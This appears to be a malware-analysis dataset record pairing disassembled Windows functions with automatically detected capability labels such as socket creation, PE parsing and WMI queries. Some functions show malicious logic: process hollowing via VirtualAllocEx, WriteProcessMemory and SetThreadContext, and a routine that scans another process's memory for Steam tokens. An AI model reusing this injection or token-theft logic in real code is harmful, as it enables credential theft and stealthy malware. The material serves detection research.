joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449000
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00449150
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x449020
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x449001
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00449150
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x449020
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x449050
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4490a7
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4490bd
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.004490e0
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x4490e0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x449170
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4491b9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x449630
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46bbc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004491e0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00449260
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00449260
lea ecx, [esi + 0xc]
call fcn.0045d896
lea ecx, [esi + 0x10]
call fcn.0045d896
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0044ba90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0044ba90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0044ba90
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0045d90b
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0045d90b
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x44a2d8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46bde8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x44a2e8
call fcn.0044a800
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x44a3cb
cmp byte [edi], 0
je 0x44a3cb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x44a30d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00449000
test eax, eax
jne 0x44a32d
push 0x489458
lea ecx, [esi + 0x38]
call fcn.0045da48
jmp 0x44a3cb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00449050
test eax, eax
jne 0x44a35c
mov ecx, esi
call fcn.00449150
push edi
add esi, 0x38
push 0x489434
push esi
call fcn.0045b8a7
add esp, 0xc
jmp 0x44a3cb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.0044b080
test eax, eax
je 0x44a3c4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.0044a4a0
test eax, eax
jne 0x44a3e0
push edi
lea eax, [esi + 0x38]
push 0x489410
push eax
call fcn.0045b8a7
add esp, 0xc
mov ecx, esi
call fcn.0044a800
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x44a488
mov ecx, dword [0x4896c8]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0045b8a7
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00449100
test eax, eax
jne 0x44a44a
push 0x4893f4
lea ecx, [esi + 0x38]
call fcn.0045da48
jmp 0x44a45a
push 0xfa
mov ecx, esi
call fcn.0044b080
test eax, eax
jne 0x44a477
mov ecx, esi
call fcn.0044a800
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0045d90b
jmp 0x44a3cb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0045d90b
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x45fcaf
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x45fce7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045dd66
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045dd3e
jmp 0x45fcf3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46139d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4613df
call fcn.00466f1e
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4613df
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4613d6
xor eax, eax
jmp 0x4613e7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004613ed
pop edi
pop esi
pop ebx
ret 4

Function at 0x46744e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46747c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46749a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004673b4
jmp 0x46749a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46749a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004673b4
test edi, edi
mov eax, edi
jne 0x467484
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4044ff
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040e5c6
lea eax, [ebp - 0x98]
push eax
call fcn.00403f08
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
push 0x5f5e0ff
xor esi, esi
push esi
call dword [0x639870]
push eax
call dword [0x639800]
push esi
push esi
xor ebx, ebx
push esi
inc ebx
push esi
lea ecx, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
call fcn.0040e778
push eax
call dword [0x639764]
push dword [0x628a14]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x58]
xor edi, edi
call dword [0x639840]
test eax, eax
jne 0x404580
mov edi, ebx
cmp dword [ebp - 0xc], esi
je 0x4046ab
push esi
push esi
push 3
push esi
push esi
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
push dword [ebp - 0xc]
call dword [0x639864]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x4046a2
mov eax, edi
neg eax
push esi
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push esi
push esi
push dword [0x628860]
push dword [ebp - 0x30]
push 0x421364
push dword [ebp - 0x18]
call dword [0x6398a4]
mov ebx, eax
cmp ebx, esi
je 0x40469b
cmp edi, esi
je 0x4045f8
or dword [ebp - 0x14], 0x10300
push 4
lea eax, [ebp - 0x14]
push eax
push 0x1f
push ebx
call dword [0x63965c]
push esi
push esi
push esi
push esi
push ebx
call dword [0x63982c]
push esi
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x198]
push eax
push 0x13
push ebx
mov dword [ebp - 0x1c], 0x100
call dword [0x6398bc]
test eax, eax
jne 0x40463f
lea ecx, [ebp + 8]
call fcn.0040e5fa
lea ecx, [ebp + 0x14]
call fcn.0040e5fa
mov eax, dword [ebp - 0x20]
mov edx, esi
jmp 0x4046ca
lea eax, [ebp - 0x198]
push eax
call fcn.0040f5de
pop ecx
cmp eax, 0xc8
jne 0x404625
cmp edi, esi
je 0x40469b
jmp 0x404696
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x598]
push eax
push ebx
call dword [0x63978c]
xor edi, edi
cmp dword [ebp - 4], esi
jbe 0x40469b
push 1
lea eax, [ebp + edi - 0x598]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
push eax
call fcn.0040f62f
inc dword [ebp - 8]
inc edi
cmp edi, dword [ebp - 4]
jb 0x404677
cmp dword [ebp - 4], esi
ja 0x404659
push ebx
call dword [0x639760]
push dword [ebp - 0x18]
call dword [0x639760]
push dword [ebp - 0xc]
call dword [0x639760]
lea ecx, [ebp + 8]
call fcn.0040e5fa
lea ecx, [ebp + 0x14]
call fcn.0040e5fa
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40503c
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.0040e5c6
lea eax, [ebp - 0xa4]
push eax
call fcn.00403f08
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x41e266
lea ecx, [ebp - 0x1c]
call fcn.0040e58f
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
call fcn.0040e778
push eax
call dword [0x639764]
push dword [0x628a14]
mov dword [ebp - 4], eax
push dword [ebp - 0x64]
xor esi, esi
call dword [0x639840]
test eax, eax
jne 0x4050ab
inc esi
cmp dword [ebp - 4], ebx
je 0x4051e3
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x50]
push dword [ebp - 0x58]
push dword [ebp - 4]
call dword [0x639864]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4051da
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x628860]
push dword [ebp - 0x3c]
push 0x421364
push dword [ebp - 0x10]
call dword [0x6398a4]
mov edi, eax
cmp edi, ebx
je 0x4051d1
cmp esi, ebx
je 0x405123
or dword [ebp - 8], 0x10300
push 4
lea eax, [ebp - 8]
push eax
push 0x1f
push edi
call dword [0x63965c]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x63982c]
push ebx
mov esi, eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x13
push edi
mov dword [ebp - 0x20], 0x100
call dword [0x6398bc]
test eax, eax
jne 0x405162
mov ecx, dword [ebp + 8]
push str.ERROR
call fcn.0040e58f
jmp 0x4051ef
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f5de
pop ecx
cmp eax, 0xc8
jne 0x405150
cmp esi, ebx
je 0x4051ca
mov esi, 0x7cf
jmp 0x4051b3
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x4051ca
mov byte [ebp + eax - 0x974], bl
lea eax, [ebp - 0x974]
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e64d
lea ecx, [ebp - 0x2c]
call fcn.0040e5fa
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x974]
push eax
push edi
call dword [0x63978c]
test eax, eax
jne 0x405181
push edi
call dword [0x639760]
push dword [ebp - 0x10]
call dword [0x639760]
push dword [ebp - 4]
call dword [0x639760]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e5c6
lea ecx, [ebp - 0x1c]
call fcn.0040e5fa
lea ecx, [ebp + 0xc]
call fcn.0040e5fa
lea ecx, [ebp + 0x18]
call fcn.0040e5fa
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4061c9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x4061e7
xor eax, eax
inc eax
jmp 0x406279
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x406276
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x406276
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x4061df
cmp dword [edi], 0x4550
jne 0x406276
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x406276
movzx eax, word [esi + 0x46]
test ax, ax
je 0x406276
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040f662
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x40624d
push 3
jmp 0x406278
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x406279
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x40685f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x406899
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x406899
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x406899
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.004067c3
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40dd15
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [eax + 0x3c]
push edi
xor edi, edi
add esi, eax
mov dword [ebp - 0x10], edi
cmp dword [esi], 0x4550
jne 0x40ddd8
push 0x10
lea eax, [ebp - 0x20]
push edi
push eax
call sub.msvcrt.dll_memset
push 0x44
lea eax, [ebp - 0x64]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edi
push edi
push 4
push 1
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0x639710]
test eax, eax
je 0x40ddd8
push 4
push 0x1000
push 4
push edi
call dword [0x6397cc]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40ddd8
push edi
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp eax, edi
jne 0x40dddf
push dword [ebp - 0x1c]
call dword [0x639880]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
jbe 0x40ddd8
push edi
push dword [esi + 0x54]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp + 0xc]
push eax
push dword [ebp - 0x20]
call edi
and dword [ebp - 8], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40de3a
and dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xc]
add edx, ecx
push edx
push eax
push dword [ebp - 0x20]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 8]
add dword [ebp - 4], 0x28
cmp dword [ebp - 8], eax
jl 0x40de03
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [0x639880]
mov eax, dword [ebp - 0x18]
jmp 0x40ddda
Function at 0x40e313
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push 0x64000
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
push 0x1fffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x40e370
mov ecx, dword [ebp + 8]
push 0x41e266
call fcn.0040cec0
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca79
mov eax, dword [ebp + 8]
jmp 0x40e50f
push esi
push edi
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040e02a
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40e3d1
jmp 0x40e4ac
cmp edx, ebx
ja 0x40e3d1
cmp eax, 0xffff
jbe 0x40e3e4
push ebx
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x254]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040ce4b
cmp dword [ebp - 0x18], 0x12c
jbe 0x40e452
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0040e296
pop ecx
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x40e447
cmp dword [ebp - 0x3c], 0xa
jbe 0x40e447
push str.N0ZWFt
call sub.msvcrt.dll_strlen
pop ecx
push eax
push ebx
push str.N0ZWFt
lea ecx, [ebp - 0x28]
call fcn.0040e17e
cmp eax, 0xffffffff
jne 0x40e4db
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040ca79
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x2c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040e02a
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0xc], edi
mov edi, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40e3d1
jb 0x40e4b4
cmp eax, ebx
ja 0x40e3c6
push dword [ebp - 4]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x41e266
call fcn.0040cec0
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca79
mov eax, dword [ebp + 8]
jmp 0x40e50d
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x28]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040cf19
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040ca79
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca79
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f311
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41d398
call sub.msvcrt.dll__EH_prolog
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x18]
push eax
push 0x422928
push 1
push esi
push 0x4229f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f47c
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x421914
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f47c
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40f478
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x24]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x20], esi
je 0x40f478
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x4c]
push edx
push esi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x44]
call fcn.0040f249
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0x639870]
push eax
call dword [0x639800]
mov esi, eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x32]
push eax
movzx eax, word [ebp - 0x34]
push eax
movzx eax, word [ebp - 0x3c]
push eax
movzx eax, word [ebp - 0x3a]
push eax
movzx eax, word [ebp - 0x36]
push eax
push 0x4218e8
push esi
call dword [0x639680]
add esp, 0x20
push esi
mov ecx, dword [ebp + 8]
call fcn.0040e58f
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f489
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e58f
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret